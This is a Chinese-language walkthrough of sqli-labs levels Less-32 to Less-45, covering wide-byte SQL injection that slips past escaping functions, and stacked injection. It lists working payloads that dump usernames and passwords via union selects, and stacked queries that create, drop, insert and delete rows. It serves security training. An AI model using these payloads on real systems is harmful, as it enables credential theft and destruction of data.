目录
- Less-32(宽字节注入)
- Less-33
- Less-34
- Less-35
- Less-36
- Less-37
- Less-38(堆叠注入)
- Less-39
- Less-40
- Less-41
- Less-42
- Less-43
- Less-44
- Less-45
Less-32(宽字节注入)
接下来进入到宽字节注入。
宽字节注入原理:参考 宽字节注入
我们正常输入id=1,返回第一组数据;输入id=1’,同样拿到了数据,并且通过提示发现 ’ 被转义。在了解宽字节注入原理之后,我们输入:
id=1%df'
出现语法报错,说明存在sql漏洞;这时我们将后面的语句注释:
得到第一组数据。
接下来就是正常操作了。
获得字段数及回显位置并查库:
?id=1%df' order by 3 --+
?id=-1%df' union select 1,2, 3 --+
?id=-1%df' union select 1,2, database() --+
查表:
这里注意,因为 ’ 被过滤的缘故,所以库名使用hex编码,避免使用’
?id=-1%df' union select 1,2, group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479
查字段:
?id=-1%df%27 union select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x7573657273 --+
获得数据:
?id=-1%df%27 union select 1,group_concat(username),group_concat(password) from security.users --+
Less-33
这一关在测试的时候,发现跟32关一样,查看一下源码:
发现使用了addslasher()函数。
会在预定义的字符之前添加反斜杠(\):
预定义字符:
单引号 ’
双引号 "
反斜杠 \
接下来跟上一关一样了。
Less-34
这一关使用的函数也是addslasher(),但是是post请求。
看看源码:
username和password都进行了函数处理。
这里使用burpsuite抓包进行测试(破解版的hackbar貌似post有问题)
这里需要注意的是,在使用抓包发送请求时,会将 % 进行url编码处理,所以要修改经过url编码的参数。
但是,不知道为什么结果有问题。
使用uname=admin%df' union select 1,2# &passwd=aaa&submit=Submit
却返回正常。eeeee… … … …
Less-35
这一关属于数字型注入,需要注意的是查库和字段时,不能使用 ’ (单引号),使用hex编码。
Less-36
使用了mysql_real_escape_string()函数:
所以做法与之前类似。
Less-37
与34关不同的只是使用了不同函数进行处理。
Less-38(堆叠注入)
原理:;(分号)用来表示一条sql语句的结束,随后可以继续构造下一条语句。
我们可以构造:
?id=-1' ; create table test like users;--+
创建一个 test 表:
然后:删除
?id=-1' ; drop table test ;--+
Less-39
这一关为整型。
我们试着插入新的用户名,密码:
?id=-1;insert into users(id,username,password) values(999,'Less999','Less999')--+
Less-40
闭合方式为 ')
我们将上一关插入的数据删除:
?id=-1;delete from users where id=999--+
Less-41
闭合方式为整形闭合
Less-42
POST
查看源码:
username进行了处理,password没有任何处理。
可以在password处进行堆叠注入。
Less-43
闭合方式为单引号括号’)。
Less-44
密码处单引号闭合。
Less-45
密码单引号括号’)闭合。